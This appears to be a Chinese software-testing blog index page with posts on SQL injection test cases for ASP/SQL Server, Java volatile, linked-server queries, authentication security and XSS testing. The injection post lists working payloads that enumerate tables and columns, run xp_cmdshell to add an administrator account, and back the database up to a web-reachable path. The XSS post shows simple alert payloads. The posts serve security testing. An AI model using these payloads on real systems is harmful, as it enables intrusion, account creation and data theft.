qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

ASP+SQL Server SQL 注入攻击测试用例

SQL注入攻击测试用例

说明

Night--

Night’ and 1=1--
Night’ and 1=2--

判断是否存在注入漏洞。SQL Server中的行注释符号为”--”

URL;and user>0--

User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar。它的值是当前连接的用户名,数据类型为nvarchar。用nvarchar类型与int类型比较会引起错误,而SQL Server在返回的错误信息中往往会暴露出user的值;将nvarchar值“XXX”转换数据类型为int的列时发生语法错误。

URL;and db_name()>0--

获取数据库名称

URL;and (select count(*) from sysobjects)>0—

 

 

msysobjects是Access 数据库的系统表,sysobjects是SQL Server的系统表。通过这两次攻击尝试,可以从服务器的反馈中辨别出服务器使用的数据库类型.

 

URL;and (select count(*) from msysobjects)>0--

Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数目--

测试数据库中有多少用户自己建立的表,sysobjects中存放着数据库内所有表的表名,列名等信息。xtype=’U’ and status>0 表示只检索用户建立的表名

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 )>0--

获得第一个表的名字

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一个表名’)>0--

通过类似的方式可以获得其他表名

Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0--

通过sysobjects获得列名

Night’ and (select top 1 len(列名) from 表名)>0--

获得列名长度

Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0--

逐字读出列名的每一个字符,通常用户没有报错返回的盲注

URL;exec master..xp_cmdshell  “net user 用户名和密码” /add

利用存储过程xp_cmdshell在服务器主机上添加用户

URL;exec master..xp_cmdshell  “net localgroup administrators 用户名 /add”--

将添加的用户加入管理员组

URL;backup database 数据库名 to disk=’路径’;--

利用存储过程将数据库备份到可以通过HTTP访问到得目录下,或者也可通过网络进行远程备份

posted @ 2013-12-09 10:32 顺其自然EVO 阅读(383) | 评论 (0)编辑 收藏

Java中关键字volatile的作用

用在多线程,同步变量。 线程为了提高效率,将某成员变量(如A)拷贝了一份(如B),线程中对A的访问其实访问的是B。只在某些动作时才进行A和B的同步。因此存在A和B不一致的情况。volatile就是用来避免这种情况的。volatile告诉jvm, 它所修饰的变量不保留拷贝,直接访问主内存中的(也就是上面说的A)
  在Java内存模型中,有main memory,每个线程也有自己的memory (例如寄存器)。为了性能,一个线程会在自己的memory中保持要访问的变量的副本。这样就会出现同一个变量在某个瞬间,在一个线程的memory中的值可能与另外一个线程memory中的值,或者main memory中的值不一致的情况。
  一个变量声明为volatile,就意味着这个变量是随时会被其他线程修改的,因此不能将它cache在线程memory中。以下例子展现了volatile的作用:
public class StoppableTask extends Thread {
private volatile boolean pleaseStop;
public void run() {
while (!pleaseStop) {
// do some stuff...
}
}
public void tellMeToStop() {
pleaseStop = true;
}
}
public class StoppableTask extends Thread {
private volatile boolean pleaseStop;
public void run() {
while (!pleaseStop) {
// do some stuff...
}
}
public void tellMeToStop() {
pleaseStop = true;
}
}
  假如pleaseStop没有被声明为volatile,线程执行run的时候检查的是自己的副本,就不能及时得知其他线程已经调用tellMeToStop()修改了pleaseStop的值。
  Volatile一般情况下不能代替sychronized,因为volatile不能保证操作的原子性,即使只是i++,实际上也是由多个原子操作组成:read i; inc; write i,假如多个线程同时执行i++,volatile只能保证他们操作的i是同一块内存,但依然可能出现写入脏数据的情况。如果配合Java 5增加的atomic wrapper classes,对它们的increase之类的操作就不需要sychronized。
 恐怕比较一下volatile和synchronized的不同是最容易解释清楚的。volatile是变量修饰符,而synchronized则作用于一段代码或方法;看如下三句get代码:
int i1;
int geti1() {return i1;}
volatile int i2;
int geti2()
{return i2;}
int i3;
synchronized int geti3() {return i3;}
geti1()
int i1;
int geti1() {return i1;}
volatile int i2;
int geti2()
{return i2;}
int i3;
synchronized int geti3() {return i3;}
geti1()
  得到存储在当前线程中i1的数值。多个线程有多个i1变量拷贝,而且这些i1之间可以互不相同。换句话说,另一个线程可能已经改变了它线程内的i1值,而这个值可以和当前线程中的i1值不相同。事实上,Java有个思想叫“主”内存区域,这里存放了变量目前的“准确值”。每个线程可以有它自己的变量拷贝,而这个变量拷贝值可以和“主”内存区域里存放的不同。因此实际上存在一种可能:“主”内存区域里的i1值是1,线程1里的i1值是2,线程2里的i1值是3——这在线程1和线程2都改变了它们各自的i1值,而且这个改变还没来得及传递给“主”内存区域或其他线程时就会发生。
  而 geti2()得到的是“主”内存区域的i2数值。用volatile修饰后的变量不允许有不同于“主”内存区域的变量拷贝。换句话说,一个变量经 volatile修饰后在所有线程中必须是同步的;任何线程中改变了它的值,所有其他线程立即获取到了相同的值。理所当然的,volatile修饰的变量存取时比一般变量消耗的资源要多一点,因为线程有它自己的变量拷贝更为高效。
  既然volatile关键字已经实现了线程间数据同步,又要 synchronized干什么呢?呵呵,它们之间有两点不同。首先,synchronized获得并释放监视器——如果两个线程使用了同一个对象锁,监视器能强制保证代码块同时只被一个线程所执行——这是众所周知的事实。但是,synchronized也同步内存:事实上,synchronized在“ 主”内存区域同步整个线程的内存。因此,执行geti3()方法做了如下几步:
  1. 线程请求获得监视this对象的对象锁(假设未被锁,否则线程等待直到锁释放)
  2. 线程内存的数据被消除,从“主”内存区域中读入(Java虚拟机能优化此步。。。[后面的不知道怎么表达,汗])
  3. 代码块被执行
  4. 对于变量的任何改变现在可以安全地写到“主”内存区域中(不过geti3()方法不会改变变量值)
  5. 线程释放监视this对象的对象锁
  因此volatile只是在线程内存和“主”内存间同步某个变量的值,而synchronized通过锁定和解锁某个监视器同步所有变量的值。显然synchronized要比volatile消耗更多资源。
  =========================分割线3=================================
  volatile关键字相信了解Java多线程的读者都很清楚它的作用。volatile关键字用于声明简单类型变量,如int、float、 boolean等数据类型。如果这些简单数据类型声明为volatile,对它们的操作就会变成原子级别的。但这有一定的限制。例如,下面的例子中的n就不是原子级别的:
package  mythread;
public   class  JoinThread  extends  Thread
{
public   static volatile int  n  =   0 ;
public   void  run()
{
for  ( int  i  =   0 ; i  <   10 ; i ++ )
try
{
n  =  n  +   1 ;
sleep( 3 );  //  为了使运行结果更随机,延迟3毫秒
}
catch  (Exception e)
{
}
}
public   static   void  main(String[] args)  throws  Exception
{
Thread threads[]  =   new  Thread[ 100 ];
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  建立100个线程
threads[i]  =   new  JoinThread();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  运行刚才建立的100个线程
threads[i].start();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  100个线程都执行完后继续
threads[i].join();
System.out.println( " n= "   +  JoinThread.n);
}
}
package  mythread;
public   class  JoinThread  extends  Thread
{
public   static volatile int  n  =   0 ;
public   void  run()
{
for  ( int  i  =   0 ; i  <   10 ; i ++ )
try
{
n  =  n  +   1 ;
sleep( 3 );  //  为了使运行结果更随机,延迟3毫秒
}
catch  (Exception e)
{
}
}
public   static   void  main(String[] args)  throws  Exception
{
Thread threads[]  =   new  Thread[ 100 ];
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  建立100个线程
threads[i]  =   new  JoinThread();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  运行刚才建立的100个线程
threads[i].start();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  100个线程都执行完后继续
threads[i].join();
System.out.println( " n= "   +  JoinThread.n);
}
}
如果对n的操作是原子级别的,最后输出的结果应该为n=1000,而在执行上面积代码时,很多时侯输出的n都小于1000,这说明n=n+1不是原子级别的操作。原因是声明为volatile的简单变量如果当前值由该变量以前的值相关,那么volatile关键字不起作用,也就是说如下的表达式都不是原子操作:
  n  =  n  +   1 ;
  n ++ ;
  如果要想使这种情况变成原子操作,需要使用synchronized关键字,如上的代码可以改成如下的形式:
package  mythread;
public   class  JoinThread  extends  Thread
{
public   static int  n  =   0 ;
public static   synchronized   void  inc()
{
n ++ ;
}
public   void  run()
{
for  ( int  i  =   0 ; i  <   10 ; i ++ )
try
{
inc();  //  n = n + 1 改成了 inc();
sleep( 3 );  //  为了使运行结果更随机,延迟3毫秒
}
catch  (Exception e)
{
}
}
public   static   void  main(String[] args)  throws  Exception
{
Thread threads[]  =   new  Thread[ 100 ];
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  建立100个线程
threads[i]  =   new  JoinThread();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  运行刚才建立的100个线程
threads[i].start();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  100个线程都执行完后继续
threads[i].join();
System.out.println( " n= "   +  JoinThread.n);
}
}
package  mythread;
public   class  JoinThread  extends  Thread
{
public   static int  n  =   0 ;
public static   synchronized   void  inc()
{
n ++ ;
}
public   void  run()
{
for  ( int  i  =   0 ; i  <   10 ; i ++ )
try
{
inc();  //  n = n + 1 改成了 inc();
sleep( 3 );  //  为了使运行结果更随机,延迟3毫秒
}
catch  (Exception e)
{
}
}
public   static   void  main(String[] args)  throws  Exception
{
Thread threads[]  =   new  Thread[ 100 ];
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  建立100个线程
threads[i]  =   new  JoinThread();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  运行刚才建立的100个线程
threads[i].start();
for  ( int  i  =   0 ; i  <  threads.length; i ++ )
//  100个线程都执行完后继续
threads[i].join();
System.out.println( " n= "   +  JoinThread.n);
}
}
  上面的代码将n=n+1改成了inc(),其中inc方法使用了synchronized关键字进行方法同步。因此,在使用volatile关键字时要慎重,并不是只要简单类型变量使用volatile修饰,对这个变量的所有操作都是原来操作,当变量的值由自身的上一个决定时,如n=n+1、n++ 等,volatile关键字将失效,只有当变量的值和自身上一个值无关时对该变量的操作才是原子级别的,如n = m + 1,这个就是原级别的。所以在使用volatile关键时一定要谨慎,如果自己没有把握,可以使用synchronized来代替volatile。

posted @ 2013-12-06 11:20 顺其自然EVO 阅读(218) | 评论 (0)编辑 收藏

SQL跨数据库服务器查询和跨表更新的操作

SQL Server数据库跨数据库服务器查询和跨表更新的相关知识是本文我们主要要介绍的内容,接下来我们就通过一个实例来介绍这一过程。实例是这样的:想实现的功能很简单, 在我的本地一个表用来保存省的信息: T_Province,在另外一台服务器上也有一个保存省的表province,其中有我本地没有的provience_name_en和provience_id信息.我希望将它们保存到我的表中.
  准备工作
  首先我在本地 T_Province 表中添加了 ProvinceNameEn 和 ProvinceId 两个字段.接下来就要想办法为这两个字段填充数据.
  跨服务器查询
  首先需要解决跨服务器查询的问题. 先来看我的最终实现:
  --创建链接服务器
  exec sp_addlinkedserver @server= 'SQL2', @srvproduct= '',
  @provider='SQLNCLI', @datasrc = '192.168.9.123' --登录链接服务器
  exec sp_addlinkedsrvlogin @rmtsrvname = 'SQL2',
  @useself = 'false ', @locallogin = null,
  @rmtuser ='sa', @rmtpassword = '123456'
  上面使用sp_addlinkedserver和sp_addlinkedsrvlogin 与服务器建立了链接, 接下来就可以直接查询远程服务器上的数据了:
  --创建临时表
  create table #t (ProvinceName nvarchar(50), ProvinceNameEn nvarchar(50),
  ProvinceID nvarchar(50)) INSERT INTO #t(ProvinceName, ProvinceNameEn, ProvinceID)
  ( SELECT localDB.ProvinceName, serverDB.province_name_en, serverDB.province_ID
  FROM T_Province as localDB, SQL2.bdg_web_retail.dbo.province
  as serverDB WHERE localDB.ProvinceName = serverDB.Province_Name )
  --跨服务器查询生成的临时表结果
  SELECT * FROM #t
  通过上面的SQL语句,我将两个服务器,两个数据库的两个表做了内联查询,并且将结果保存到了本地的临时表#t中.
  跨表更新
  接下来希望将#t 中的数据更新到T_Province表中.其实跨表更新很简单, 但是一开始头脑中这个概念, 不知道set子句如何写.下面是最后的成果:
  --更新本地的 T_Province表数据
  UPDATE T_Province SET T_Province.ProvinceNameEn = ( SELECT #t.ProvinceNameEn) , T_Province.ProvinceID = (SELECT #t.ProvinceID)
  ROM T_Province, #t WHERE T_Province.ProvinceName = #t.ProvinceName
  需要注意的是我最开始使用了Declare建立表变量的形式创建了@t,但是执行update操作时提示"必须声明标量变量@t", 换成了临时表#t就没有问题。
  跨服务器查询相关知识
  下面对跨服务器查询用到的知识进行讲解.
  创建链接服务器 sp_addlinkedserver
  创建链接服务器。链接服务器让用户可以对OLE DB 数据源进行分布式异类查询。在使用 sp_addlinkedserver 创建链接服务器后,可对该服务器运行分布式查询。如果链接服务器定义为 SQL Server 实例,则可执行远程存储过程。
语法
  sp_addlinkedserver [ @server= ] 'server' [ , [ @srvproduct= ] 'product_name' ] [ , [ @provider= ] 'provider_name' ] [ , [ @datasrc= ] 'data_source' ] [ , [ @location= ] 'location' ] [ , [ @provstr= ] 'provider_string' ] [ , [ @catalog= ] 'catalog' ]
  参数
  [ @server = ] 'server'
  要创建的链接服务器的名称。server 的数据类型为 sysname,没有默认值。
  [ @srvproduct = ] 'product_name'
  要添加为链接服务器的OLE DB 数据源的产品名称。product_name 的数据类型为 nvarchar(128),默认值为 NULL。如果为 SQL Server,则不必指定 provider_name、data_source、location、provider_string 和 catalog。
  [ @provider = ] 'provider_name'
  与此数据源对应的 OLE DB 访问接口的唯一编程标识符 (PROGID)。对于当前计算机中安装的指定 OLE DB 访问接口,provider_name 必须唯一。provider_name 的数据类型为 nvarchar(128),默认值为 NULL;但如果忽略 provider_name,则使用 SQLNCLI。SQLNCLI 是 SQL 本机 OLE DB 访问接口。OLE DB 访问接口应以指定的 PROGID 在注册表中注册。
  [ @datasrc = ] 'data_source'
  由OLE DB 访问接口解释的数据源的名称。data_source 的数据类型为 nvarchar(4000)。data_source 作为 DBPROP_INIT_DATASOURCE 属性传递以初始化 OLE DB 访问接口。
  [ @location = ] 'location'
  由 OLE DB 访问接口解释的数据库的位置。location 的数据类型为 nvarchar(4000),默认值为 NULL。location 作为 DBPROP_INIT_LOCATION 属性传递以初始化 OLE DB 访问接口。
  [ @provstr = ] 'provider_string'
  OLE DB 访问接口特定的连接字符串,它可标识唯一的数据源。provider_string 的数据类型为 nvarchar(4000),默认值为 NULL。provstr 或传递给 IDataInitialize 或设置为 DBPROP_INIT_PROVIDERSTRING 属性以初始化 OLE DB 访问接口。
  在针对 SQL 本机客户端 OLE DB 访问接口创建链接服务器后,可将 SERVER 关键字用作 SERVER=servername\instancename 来指定实例,以指定特定的 SQL Server 实例。servername 是运行 SQL Server 的计算机名称,instancename 是用户将连接到的特定 SQL Server 实例的名称。
  [ @catalog = ] 'catalog'
  与 OLE DB 访问接口建立连接时所使用的目录。catalog 的数据类型为 sysname,默认值为 NULL。catalog 作为 DBPROP_INIT_CATALOG 属性传递以初始化 OLE DB 访问接口。在针对 SQL Server 实例定义链接服务器时,目录指向链接服务器映射到的默认数据库。
  登录链接服务器 sp_addlinkedsrvlogin
  语法
  sp_addlinkedsrvlogin [ @rmtsrvname = ] 'rmtsrvname' [ , [ @useself = ] 'useself' ] [ , [ @locallogin = ] 'locallogin' ] [ , [ @rmtuser = ] 'rmtuser' ] [ , [ @rmtpassword = ] 'rmtpassword' ]
  参数
  [ @rmtsrvname = ] 'rmtsrvname'
  应用登录映射的链接服务器的名称。rmtsrvname 的数据类型为 sysname,没有默认值。
  [ @useself = ] 'useself'
  确定用于连接远程服务器的登录名。useself 的数据类型为 varchar(8),默认值为 TRUE。
  值为true 时指定登录使用自己的凭据连接 rmtsrvname,忽略 rmtuser 和 rmtpassword 参数。false 指定使用 rmtuser 和 rmtpassword 参数连接指定 locallogin 的 rmtsrvname。如果 rmtuser 和 rmtpassword 也设置为 NULL,则不使用登录名或密码来连接链接服务器。
  [ @locallogin = ] 'locallogin'
  本地服务器上的登录。locallogin 的数据类型为 sysname,默认值为 NULL。NULL 指定此项应用于连接到 rmtsrvname 的所有本地登录。如果不为 NULL,则 locallogin 可以是 SQL Server 登录或Windows 登录。对于 Windows 登录来说,必须以直接的方式或通过已被授权访问的 Windows 组成员身份授予其访问 SQL Server 的权限。
  [ @rmtuser = ] 'rmtuser'
  当 useself 为 false 时,表示用于连接 rmtsrvname 的用户名。rmtuser 的数据类型为 sysname,默认值为 NULL。
  [ @rmtpassword = ] 'rmtpassword'
  与 rmtuser 关联的密码。rmtpassword 的数据类型为 sysname,默认值为 NULL。
  使用链接服务器
  服务器名.数据库名.dbo.表名
  删除链接服务器 sp_dropserver
  语法
  sp_dropserver [ @server = ] 'server' [ , [ @droplogins = ] { 'droplogins' | NULL} ]
  参数
  [ @server = ] 'server'
  要删除的服务器。server 的数据类型为 sysname,无默认值。server 必须存在。
  [ @droplogins = ] 'droplogins' | NULL
  指示如果指定了 droplogins,那么对于server,还必须删除相关的远程服务器和链接服务器登录名。@droplogins 的数据类型为 char(10),默认值为 NULL。
  关于SQL Server跨数据库服务器查询和跨表更新的相关知识就介绍到这里了,希望本次的介绍能够对您有所收获!

posted @ 2013-12-06 11:20 顺其自然EVO 阅读(679) | 评论 (0)编辑 收藏

缺陷的严重级别及优先级定义

 说明:
  1、BUG的严重级别表明BUG的破坏和影响程度;
  2、BUG的优先级表明BUG解决的紧急程度;

  严重级别越高的BUG不一定优先级越高;严重级别越低的BUG不一定优先级越低;
版权声明:本文出自 wsy0451 的51Testing软件测试博客:http://www.51testing.com/?137454
原创作品,转载时请务必以超链接形式标明本文原始出处、作者信息和本声明,否则将追究法律责任。

posted @ 2013-12-06 11:15 顺其自然EVO 阅读(439) | 评论 (0)编辑 收藏

安全测试之认证授权

  在web安全中,认证授权又是每个人都熟知的,就像我们都应该设置一个高强度的密码,以免被猜测破解,实际上还包括更多内容。
  1. 权限
  在很多系统如CRM,ERP,OA中都有权限管理,其中的目的一个是为了管理公司内部人员的权限,另外一个就是避免人人都有权限而帐号泄漏后会对公司带来的负面影响。
  权限一般分为2种:访问权限和操作权限。访问权限即是某个页面的权限,对于特定的一些页面只有特定的人员才能访问。而操作权限指的是页面中具体到某个行为,肉眼能看到的可能就是一个审核按钮或提交按钮。我之前接触过的一个SAAS平台的CRM系统就用到了访问权限和操作权限两种,而现在公司后台管理都是访问权限,当然访问权限实施起来更加方便快捷,也容易维护。
  权限的处理方式可以分为2种:用户权限和组权限。设置多个组,不同的组设置不同的权限,而用户设置到不同的组中,那就继承了组的权限,这种方式就是组权限管理,一般都是使用这种方式管理。而用户权限管理则比较简单,对每个用户设置权限,而不是拉入某个组里面,但是灵活性不够强,用户多的时候就比较费劲了,每次都要设置很久的权限,而一部分用户权限是有共性的,所以组权限都是目前很通用的处理方式。
  在权限方面,还包括了数据库的权限,网站管理的权限以及API/Service的权限。
  DBA都需要控制好IDC的数据库权限,而不是将用户权限设置为*.*,需要建立专门供应用程序使用的帐号,并且需要对不同的数据库和不同的表赋予权限,专门供应用程序使用的帐号就不能进行更改表,更改数据库及删除操作,否则如果有SQL注入漏洞或程序有bug的话,黑客就能轻易连接到数据库获取更多的信息。因为DBA帐号除了可以更改数据库结构,数据,及配置之外,还可以通过LOAD DATA INFILE读取某个文件,相当于整台服务器都被控制了。
  API可以分为private API和open API。那私有API一般是不希望外网访问的,如果架设在内网的话,最好使用内网IP来访问,如果是公网的话,最好设置一定的权限管理。Open API的权限就相对复杂很多,除了校验参数正确性,还需校验用户是否在白名单中,在白名单里的话还需校验用户对应的权限,有些时候还需要考虑是否要加密传输等等。
  2. 密码猜测
  以下哪种错误提示更加适合呢?
  1)输入的用户名不正确
  2)输入的密码不正确
  3)输入的用户名或密码不正确
  看到前面两种提示信息,我们获得了什么信息呢?用户名不正确那可以猜测到正确的用户名,当只是提示密码不正确的时候说明用户名正确了,这两种提示其实是在暗示用户正确输入了什么,哪个不正确。而第三种给出的提示就比较模糊,可能是用户名可能是密码错误。如果非要说前两种提示信息更准确更易于普通用户的话,就会给黑客们带来可乘之机,而第三种就没辙了,实在不知道到底是哪个错误了,难道增加不少。使用工具或批处理脚本来强制枚举破解的话也需要更多的时间。
  弱密码你中枪了吗?
  2011年11月22日,360安全中心发布了中国网民最常用的25个“弱密码”: 000000、111111、11111111、112233、123123、123321、123456、12345678、654321、666666、888888、abcdef、abcabc、abc123、a1b2c3、aaa111、123qwe、qwerty、qweasd、admin、password、p@ssword、passwd、iloveyou、5201314。别人给我使用过的管理帐号中就有设置这样的密码,非常危险。
  那如何应对密码猜测攻击呢?一般有以下几种方案:1)超过错误次数帐户锁定;2)使用RSA/验证码;3)使用安全性高的密码策略。很多网站三种结合起来使用的。另外,在保存密码到数据库时也一定要检查是否经过严格的加密处理,不要再出现某天你的网站被暴库了结果还存的是明文密码。
  3. 找回密码的安全性
  最不安全的做法就是在邮件内容中发送明文新密码,一旦邮箱被盗,对应网站的帐号也会被盗;一般做法是邮件中发送修改密码链接,测试时就需要特别注意用户信息标识是否加密,加密方法以及是否易破解;还有一种就是修改时回答问题,问题回答正确才能进行修改,大名鼎鼎的QQ就是这么做的。据传,原来支付宝有个很严重的安全问题,就是完全可以通过手机号码找回登录密码和支付密码,会发送验证码到手机然后登录网页修改密码,有用户手机号码停机后,别人买了这个号然后登录了支付宝把钱转走了,现在支付宝找回登录密码时仍然可以通过手机号码找回,但是支付密码修改就需要手机短信和身份证件一起验证。不过我们很多人难免会在网络上留下手机号码的痕迹,聪明的善于挖掘汇总信息的人一定可以找到你的身份证号码,所以友情提示下:更换号码时一定要及时修改帐号关联的手机号码。
  4. 注册攻击
  常见的是恶意注册,以避免注册后恶意搜索引擎爬取,在线机器人投票,注册垃圾邮箱等。
  缓解注册攻击的方法:使用RSA/验证码
  5. Cookie安全
  Cookie中记录着用户的个人信息,登录状态等。使用Cookie欺骗可以伪装成其他用户来获取隐私信息等。
  常见的Cookie欺骗有几下几种方法:
  1)设置cookie的有效期,通过cookie manager等chrome的插件即可完成;
  2)通过分析多帐户的cookie值的编码规律,使用破解编码技术来任意修改cookie的值达到欺骗目的,这种方法较难实施;
  3)结合XSS攻击上传代码获取访问页面用户 cookie的代码,获得其他用户的cookie
  4)通过浏览器漏洞获取用户的cookie,这种方法就需要非常熟悉浏览器。
  如何防范?
  1)不要在Cookie中保存敏感信息;
  2)不要在Cookie中保存没有经过加密的或者容易被解密的敏感信息;
  3)对从客户端取得的Cookie信息进行严格校验,如登录时提交的用户名密码正确性;
  4)记录非法的Cookie信息进行分析,并根据这些信息对系统进行改进;
  5)使用SSL来传递Cookie信息;
  6)结合session验证对用户访问授权;
  7)及时更新浏览器漏洞;
  8)设置httponly增强安全性;
  9)实施系统安全性解决方案,避免XSS攻击
  6. Session安全
  服务端和客户端之间是通过session(会话)来连接沟通。当客户端的浏览器连接到服务器后,服务器就会建立一个该用户的session。每个用户的session都是独立的,并且由服务器来维护。每个用户的session是由一个独特的字符串来识别,成为session id。用户发出请求时,所发送的http表头内包含session id 的值。服务器使用http表头内的session id来识别是哪个用户提交的请求。一般Session ID传递方式:URL中指定session或存储在cookie中,后者广泛使用。
  会话劫持
  会话劫持是指攻击者利用各种手段来获取目标用户的session id。一旦获取到session id,那么攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。
  攻击者获取目标用户session id的方法:
  1)暴力破解:尝试各种session id,直到破解为止
  2)计算:如果session id使用非随机的方式产生,那么就有可能计算出来
  3)窃取:使用网络截获,XSS,CSRF攻击等方法获得
  如何防范?
  1)定期更改Session ID ,这样每次重新加载都会产生一个新的Session ID
  2)只从cookie中传送Session ID,结合cookie验证
  3)只接受server产生的Session ID
  4)只在用户登录授权后生成Session或登录授权后变更Session
  5)为Session ID设置Time-Out时间
  6)验证来源,如果Refer的來源是可疑的,就刪除Session ID
  7)如果用戶代理user-agent变更时,重新生成session ID
  8)使用SSL连接
  9)防止XSS,CSRF漏洞
  以上内容已经提出了很多次关于XSS和CSRF,他们真的是罪魁祸首啊,因为有了这些漏洞,会导致很多的恶意攻击,好吧,以后会慢慢道来,揭开他们神秘面纱。
版权声明:本文出自 zzzmmmkkk 的51Testing软件测试博客:http://www.51testing.com/?258885
原创作品,转载时请务必以超链接形式标明本文原始出处、作者信息和本声明,否则将追究法律责任。

posted @ 2013-12-06 11:14 顺其自然EVO 阅读(411) | 评论 (0)编辑 收藏

Web十大安全隐患之XSS跨站脚本

上次提到的是sql注入,算是较大的安全隐患,今天我们来介绍另外一种较为严重的安全隐患--XSS跨站脚本攻击。
  首先咱们来说什么是跨站脚本攻击。它的英文叫“CrossSite Scripting”,通俗点说就是攻击者向web页面里跨站的插入恶意html代码,那么当用户浏览该页的时候,嵌入到web中的html代码就会被执行。我们经常看到的重定向啊,以及一些钓鱼网站,大多数利用的就是这种技术。比如有个广告,里边网址是item.taobao.com/.xxxx的,是某个人在某论坛发的广告链接,你觉得东西很便宜啊,又是淘宝的,有保障,就点击进去了。其实呢,它会redirect到另一个攻击者自己的网站,你在上面通过他的接口付款时候,就会不小心被他洗劫一空。
  介绍过了,其实老实讲,我自己对怎么攻击和攻击的原理也不是特别特别了解(大多数时候我们只要知道怎么测试出来有这个隐患和怎么防止就ok了)。不过大致原理咱们还是要了解的,后面是我节选自百度空间一篇文章,具体作者和链接我都忘记了。。是很久之前存下的,在这先感谢下。大家可以简单了解下其原理。
  传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而另一种思路,则从一定程度上解决上述的问题。比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面将详细的介绍这种技术。
  寻找跨站漏洞
  如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。
  如何利用
  跨站脚本(Cross-site scripting,XSS)漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。
  这个利用XSS漏洞的蠕虫病毒的特别之处在于它能够自我传播。myspace.com上的一个用户希望自己能够在网站的友人列表上更“受欢迎”。但是该用户不是通过普通的方法来结交新朋友,而是在自己的个人信息中添加了一些代码,导致其他人在访问他的页面时,会不知不觉地利用XSS漏洞将他加为好友。更恶劣的是,它会修改这些人的个人信息,使其他人在访问这些被感染的个人信息时,也会被感染。由于这种呈指数传播的方式,这种病毒才很快就被发现。
  很难预防站点中的XSS。因此一定要认真检查您的应用程序是否存在XSS漏洞。此外,WebLogic Server的encodeXSS()也可以有所帮助。可以试着针对所有牵涉到使用encodeXSS()或其他某个筛选方法的输出找出一种编码模式——找出对一种编码模式来说不正确的应用程序往往要比找出XSS漏洞要容易的多。更重要的是,不要认为,就因为XSS漏洞是一个常见问题,所以它危害不大。
  之所以出现XSS漏洞有两个原因。首先,HTML没有明确区分代码和数据。无法确定指出“这个字符串表示的是数据”。您可以将其放入引号中,但是数据是否包含引号呢?……其次,程序在将用户数据发送回浏览器时没有进行有效的转义。这导致包含有(例如说)引号的数据被放入页面中,从而引发了问题。而AJAX要提供的好处是,它包含一个专用渠道XML链接,其中全是数据而没有代码。这样,就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值,等等。说是这么说,直到AJAX更为成熟(可能也更为标准化)之前,它只会导致错误的编程和安全漏洞。
  XSS漏洞可能造成的后果包括窃取用户会话,窃取敏感信息,重写Web页面,重定向用户到钓鱼网站等,尤为严重的是,XSS漏洞可能使得攻击者能够安装XSS代理,从而攻击者能够观察到该网站上所有用户的行为,并能操控用户访问其他的恶意网站。

  对于XSS漏洞,我们有两种常见的措施,第一种就是消除漏洞,简而言之就是在输出页面上不提供任何用户的输入信息;另外一种就是想办法来抵御这种漏洞,可以采用对所有用户的输入编码后再输出(可以用OWASP的ESAPI),也可以对所有用户输入进行“白名单”验证,另外,OWASP还提供了AntiSamy对HTML页面做优化以消除这个漏洞。
  上面这段既包含了原理,也说了防止手段。算是我看过文章里比较全面的。那后边我们进入最重点部分,那就是怎么去测试XSS跨站脚本攻击。
  大致上可以把XSS攻击分成三类,Stored XSS、Reflected XSS、Dom-Base XSS。我们逐一介绍下。
  首先是Stored XSS,就是存储式跨站攻击。这是最为厉害的一种攻击方式,也是测试起来相对容易的。存储式跨站攻击简单来说就是攻击者提交给网站的数据呢会提交并永久保存到服务器的数据库或者是文件系统等其他地方,之后不做任何编码操作就会显示在web页面上。貌似说的不是很清楚,我们可以举个例子来说:
  比如说一个社交网站或其他可以给在网站中留言的地方,事实上呢,我们在可以留言的地方写入一段代码:
  <script>alert(document.cookie)</script>
  这样这个信息就被存储到了服务器上,当有其他用户访问这个网页时候,其浏览器就会执行这个脚本,从而弹出一个关于cookie的alert。
  我们就完成一次最简单的存储式跨站攻击。到目前为止最典型的存储式跨站攻击的例子就是05年myspace发现的漏洞,具体情况大家自行google~~~
  其次Reflected XSS,反射跨站脚本攻击。这个是最著名最常见的攻击手段。所谓反射,就是等着服务器所给的返回。我们在进行测试行依据的就是在自己页面上的简单注入。在web客户端提交了数据后,服务端马上给这个请求生成返回结果页,如果结果中包含了未验证的客户端输入数据,那就表示会允许客户端脚本直接注入到页面里,也就出现了这样一个漏洞。简单举个例子,在搜索引擎里边,我们如果搜索了一个包含html代码的字符串,如果返回的字符串仍然没被编码,那就是存在XSS漏洞了。呃,我自己说的也比较晕,不知道大家能理解没有。
